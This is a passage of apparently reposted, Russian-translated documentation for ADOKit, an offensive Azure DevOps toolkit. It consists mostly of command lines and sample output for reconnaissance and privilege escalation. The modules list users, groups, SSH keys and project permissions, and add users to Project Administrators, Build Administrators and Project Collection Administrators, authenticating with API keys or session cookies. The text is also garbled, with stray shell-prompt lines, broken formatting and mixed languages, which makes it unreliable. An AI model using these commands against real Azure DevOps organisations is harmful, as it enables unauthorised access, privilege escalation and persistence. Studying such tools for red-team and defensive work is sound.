fbde9f3e-bbe3-4442-befb-c2ddeab75c58 |                       ADOKit-iCBfYfFR |                      app_token |           4/3/2024 12:00:00 AM |   ...hOLNYMk5LkbLRMG36RE=

4/3/23 18:51:24 Finished execution of createsshkey

root@kitploit:~
### List SSH Keys

#### Use Case

> *Вывести список всех открытых SSH-ключей для указанного пользователя в экземпляре Azure DevOps.*

#### Syntax

Укажите модуль `listsshkey`, а также соответствующие данные аутентификации и URL. Будут выведены идентификатор SSH-ключа, имя, область действия и дата окончания срока действия для всех активных SSH-ключей пользователя. Кроме того, будут показаны последние 20 символов открытого SSH-ключа.

`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Example Output```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listsshkey
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:37:10 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                              SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
    ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 15:37:11 Finished execution of listsshkey

Удаление SSH-ключа

Вариант использования

Удалить SSH-ключ для указанного пользователя в экземпляре Azure DevOps.

Синтаксис

Укажите модуль removesshkey, а также соответствующую информацию об аутентификации и URL. Дополнительно укажите идентификатор SSH-ключа в аргументе /id:. Результат покажет, был ли SSH-ключ удален, а затем перечислит текущие активные SSH-ключи пользователя после выполнения удаления.

ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...

ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...

Пример вывода```

C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97

================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 1:50:08 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 17:50:09 Finished execution of removesshkey

root@kitploit:~
### Список пользователей

#### Вариант использования

> *Вывод списка пользователей в экземпляре Azure DevOps*

#### Синтаксис

Укажите модуль `listuser`, а также соответствующие данные аутентификации и URL. На выходе будут получены имя пользователя, отображаемое имя и имя участника-пользователя.

`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Пример вывода```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listuser
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:12:07 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                             user1 |                                             User 1 |             [email protected]
                                          jsmith |                                        John Smith |          [email protected]
                                           rsmith |                                       Ron Smith |           [email protected]
                                             user2 |                                             User 2 |             [email protected]

4/3/23 20:12:08 Finished execution of listuser

Поиск пользователя

Вариант использования

Поиск указанных пользователей в экземпляре Azure DevOps

Синтаксис

Укажите модуль searchuser и критерии поиска в аргументе командной строки /search:, вместе с соответствующими данными аутентификации и URL. Результат будет содержать совпадающие имя пользователя, отображаемое имя и имя участника-пользователя.

ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user

ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user

Пример вывода```

C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"

================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:12:23 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                      Username |                                       Display Name |                                                UPN

root@kitploit:~
                                         user1 |                                             User 1 |             [email protected]
                                         user2 |                                             User 2 |             [email protected]

4/3/23 20:12:24 Finished execution of searchuser

root@kitploit:~
### Список команд

#### Вариант использования

> *Список команд в экземпляре Azure DevOps*

#### Синтаксис

Укажите модуль `listteam`, а также соответствующие данные аутентификации и URL. Эта команда выведет название команды, название проекта и описание команды.

`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Пример выходных данных```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listteam
Auth Type:      API Key
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 9:48:26 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                        Project |                                        Description
----------------------------------------------------------------------------------------------------------------------------------------
                     ProjectWithMultipleRepos Team |       ProjectWithMultipleRepos |                          The default project team.
                                 MaraudersMap Team |                   MaraudersMap |                          The default project team.
                                 TestProject2 Team |                   TestProject2 |                          The default project team.
                                  TestProject Team |                    TestProject |                          The default project team.

Поиск команды

Сценарий использования

Поиск указанной команды (команд) в экземпляре Azure DevOps

Синтаксис

Укажите модуль searchteam и ваши критерии поиска в аргументе командной строки /search:, а также соответствующие данные аутентификации и URL. На выходе вы получите имя команды, имя проекта и описание команды.

ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam

ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam

Пример вывода```

C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test

================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:48:32 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                     Team Name |                        Project |                                        Description

root@kitploit:~
                             TestProject2 Team |                   TestProject2 |                          The default project team.
                              TestProject Team |                    TestProject |                          The default project team.
root@kitploit:~
### Получить участников команды

#### Вариант использования

> *Получить участников команды для заданной команды*

#### Синтаксис

Укажите модуль `getteammembers` и критерии поиска в аргументе командной строки `/search:`, а также соответствующую информацию аутентификации и URL. Это выведет имя команды, имя пользователя участника команды и отображаемое имя участника команды.

`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`

`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`

#### Пример вывода```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"

==================================================
Module:         getteammembers
Auth Type:      API Key
Search Term:    dev team
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 10:45:11 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                                     Username |                                  User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
                                          Dev Team |             [email protected] |                                             User 1
                                          Dev Team |             [email protected] |                                              user3
                                          Dev Team |             [email protected] |                                              user4

List Groups

Сценарий использования

Вывод списка групп в экземпляре Azure DevOps

Синтаксис

Укажите модуль listgroup, а также соответствующую информацию для аутентификации и URL. Это выведет имя участника-пользователя, отображаемое имя и описание группы.

ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Пример вывода```

C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:48:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                           UPN |                                       Display Name |                                        Description

root@kitploit:~
                    [TestProject]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [TestProject2]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users |                               Project-Scoped Users | Members of this group will have limited visibility to  organization-level data

[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management

---SNIP---

4/3/23 20:48:46 Finished execution of listgroup

root@kitploit:~
### Поиск групп

#### Пример использования

> *Поиск указанной группы (групп) в экземпляре Azure DevOps*

#### Синтаксис

Укажите модуль `searchgroup` и критерии поиска в аргументе командной строки `/search:`, а также соответствующие данные аутентификации и URL. Будет выведено имя участника-пользователя, отображаемое имя и описание для найденной группы.

`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`

`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`

#### Пример вывода```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"

==================================================
Module:         searchgroup
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:48:41 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                                                   UPN |                   Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                   [TestProject2]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [ProjectWithMultipleRepos]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                  [TestProject]\Release Administrators |         Release Administrators | Members of this group can perform all operations on Release Management
                                    [TestProject]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                 [MaraudersMap]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                 [TestProject2]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
           [YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
                     [ProjectWithMultipleRepos]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                   [MaraudersMap]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
     [YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
                                  [TestProject]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.

4/3/23 20:48:42 Finished execution of searchgroup

Получить участников группы

Сценарий использования

Перечислить всех участников группы для указанной группы

Синтаксис

Укажите модуль getgroupmembers и группу (группы), которые вы хотите найти, в аргументе командной строки /group:, а также соответствующую информацию об аутентификации и URL. Будут выведены имя участника-пользователя (UPN) соответствующей группы, а также каждый участник этой группы, включая почтовый адрес и отображаемое имя пользователя.

ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"

ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"

Пример вывода```

C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"

================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 9:11:03 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 1
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 2
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |           [email protected] |                                       Ron Smith
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 1
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 2
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
                 [ProjectWithMultipleRepos]\Project Administrators | [email protected] |                                      Brett Hawkins
                               [MaraudersMap]\Build Administrators | [email protected] |                                      Brett Hawkins

4/4/23 13:11:09 Finished execution of getgroupmembers

root@kitploit:~
### Получить разрешения проекта

#### Вариант использования

> *Получите список тех, у кого есть разрешения на данный проект.*

#### Синтаксис

Укажите модуль `getpermissions` и проект, который вы хотите найти в аргументе командной строки `/project:`, вместе с соответствующей информацией для аутентификации и URL. Это выведет имя участника-пользователя, отображаемое имя и описание для соответствующей группы. Кроме того, будут выведены участники группы для каждой из этих групп.

`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`

`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`

#### Пример вывода```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpermissions
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 9:11:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                               UPN |                                       Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
               [MaraudersMap]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                  [MaraudersMap]\MaraudersMap Team |                                  MaraudersMap Team |                          The default project team.
             [MaraudersMap]\Project Administrators |                             Project Administrators | Members of this group can perform all operations in the team project.
                [MaraudersMap]\Project Valid Users |                                Project Valid Users | Members of this group have access to the team project.
                            [MaraudersMap]\Readers |                                            Readers | Members of this group have access to the team project.


[*] INFO: Listing group members for each group that has permissions to this project



GROUP NAME: [MaraudersMap]\Build Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Contributors

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 1
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 2


GROUP NAME: [MaraudersMap]\MaraudersMap Team

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                      [MaraudersMap]\MaraudersMap Team | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Valid Users

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Readers

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                                [MaraudersMap]\Readers |          [email protected] |                                        John Smith

4/4/23 13:11:18 Finished execution of getpermissions

Добавить администратора проекта

Сценарий использования

Добавить пользователя в группу администраторов проекта для указанного проекта.

Синтаксис

Укажите модуль addprojectadmin вместе с /project: и /user: для добавления указанного пользователя в группу Project Administrators для данного проекта. Кроме того, укажите соответствующую информацию об аутентификации и URL. См. Таблица сведений о модуле для получения сведений о разрешениях, необходимых для выполнения этого действия.

ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Пример вывода```

C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 2:52:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |             [email protected] |                                             User 1

4/4/23 18:52:47 Finished execution of addprojectadmin

root@kitploit:~
### Удалить администратора проекта

#### Сценарий использования

> *Удалить пользователя из группы администраторов проекта для указанного проекта.*

#### Синтаксис

Укажите модуль `removeprojectadmin` вместе с `/project:` и `/user:` для удаления пользователя из группы `Администраторы проекта` для указанного проекта. Кроме того, укажите любую соответствующую информацию аутентификации и URL. См. [Таблицу сведений о модулях](#module-details-table) для получения информации о разрешениях, необходимых для выполнения этого действия.

`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### Пример вывода```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removeprojectadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:19:43 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins

4/4/23 19:19:44 Finished execution of removeprojectadmin

Добавить администратора сборки

Вариант использования

Добавить пользователя в группу администраторов сборки для указанного проекта.

Синтаксис

Укажите модуль addbuildadmin вместе с /project: и /user: для указанного пользователя, которого нужно добавить в группу Build Administrators для данного проекта. Кроме того, укажите любую соответствующую информацию об аутентификации и URL. Смотрите Таблицу сведений о модулях для получения информации о разрешениях, необходимых для выполнения этого действия.

ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Пример вывода```

C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:41:51 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [MaraudersMap]\Build Administrators |             [email protected] |                                             User 1

4/4/23 19:41:55 Finished execution of addbuildadmin

root@kitploit:~
### Удаление администратора сборки

#### Вариант использования

> *Удалить пользователя из группы Администраторы сборки для указанного проекта.*

#### Синтаксис

Предоставьте модуль `removebuildadmin` вместе с `/project:` и `/user:` для заданного пользователя, которого нужно удалить из группы `Build Administrators` указанного проекта. Кроме того, предоставьте любую соответствующую информацию об аутентификации и URL. См. [Таблица сведений о модулях](#module-details-table) для получения сведений о разрешениях, необходимых для выполнения этого действия.

`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### Пример вывода```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removebuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:42:10 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/4/23 19:42:11 Finished execution of removebuildadmin

Добавление администратора коллекции

Сценарий использования

Добавить пользователя в группу Администраторы коллекции проектов.

Синтаксис

Укажите модуль addcollectionadmin вместе с /user: для данного пользователя, которого нужно добавить в группу Project Collection Administrators. Кроме того, укажите любую соответствующую информацию аутентификации и URL. См. Таблицу сведений о модулях для получения информации о разрешениях, необходимых для выполнения этого действия.

ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Пример вывода```

C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 4:04:40 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
       [YourOrganization]\Project Collection Administrators |             [email protected] |                                             User 1

4/4/23 20:04:43 Finished execution of addcollectionadmin

root@kitploit:~
### Удаление администратора коллекции

#### Сценарий использования

> *Удаление пользователя из группы администраторов коллекции проектов.*

#### Синтаксис

Укажите модуль `removecollectionadmin` вместе с `/user:` для заданного пользователя, которого нужно удалить из группы `Project Collection Administrators`. Кроме того, укажите соответствующие данные аутентификации и URL. См. [таблицу сведений о модулях](#module-details-table) для получения информации о разрешениях, необходимых для выполнения этого действия.

`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Пример вывода```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 4:10:35 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
           [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith

4/4/23 20:10:38 Finished execution of removecollectionadmin

Добавить администратора сборки коллекции

Использование

Добавить пользователя в группу администраторов сборки коллекции проектов.

Синтаксис

Укажите модуль addcollectionbuildadmin вместе с /user: для пользователя, который будет добавлен в группу Project Collection Build Administrators. Дополнительно укажите соответствующую информацию аутентификации и URL. Смотрите Таблицу сведений о модулях для получения информации о разрешениях, необходимых для выполнения этого действия.

ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Пример вывода```

C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:21:39 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
 [YourOrganization]\Project Collection Build Administrators |             [email protected] |                                             User 1

4/5/23 12:21:42 Finished execution of addcollectionbuildadmin

root@kitploit:~
### Удаление администратора сборки коллекции

#### Вариант использования

> *Удалить пользователя из группы «Администраторы сборки коллекции проектов».*

#### Синтаксис

Укажите модуль `removecollectionbuildadmin` вместе с параметром `/user:` для пользователя, которого следует удалить из группы `Project Collection Build Administrators`. Также укажите соответствующие данные аутентификации и URL. Смотрите [Таблицу деталей модуля](#module-details-table) для получения информации о необходимых разрешениях для выполнения этого действия.

`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Пример вывода```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:21:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:02 Finished execution of removecollectionbuildadmin

Добавление учетной записи службы сборки коллекции

Вариант использования

Добавить пользователя в группу «Учетные записи служб сборки коллекции проектов».

Синтаксис

Укажите модуль addcollectionbuildsvc с параметром /user: для добавления заданного пользователя в группу Project Collection Build Service Accounts. Дополнительно укажите соответствующую информацию для аутентификации и URL. См. Таблицу сведений о модулях для получения информации о разрешениях, необходимых для выполнения этого действия.

ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Пример вывода```

C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:22:13 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1

4/5/23 12:22:15 Finished execution of addcollectionbuildsvc

root@kitploit:~
### Удаление учётной записи службы сборки коллекции

#### Вариант использования

> *Удалить пользователя из группы «Учётные записи службы сборки коллекции проектов» (Project Collection Build Service Accounts).*

#### Синтаксис

Укажите модуль `removecollectionbuildsvc` с параметром `/user:` для заданного пользователя, которого необходимо удалить из группы `Project Collection Build Service Accounts`. Кроме того, укажите соответствующие данные аутентификации и URL. См. [Таблицу сведений о модулях](#module-details-table) для получения информации о разрешениях, необходимых для выполнения этого действия.

`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Пример вывода```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:22:27 AM
==================================================


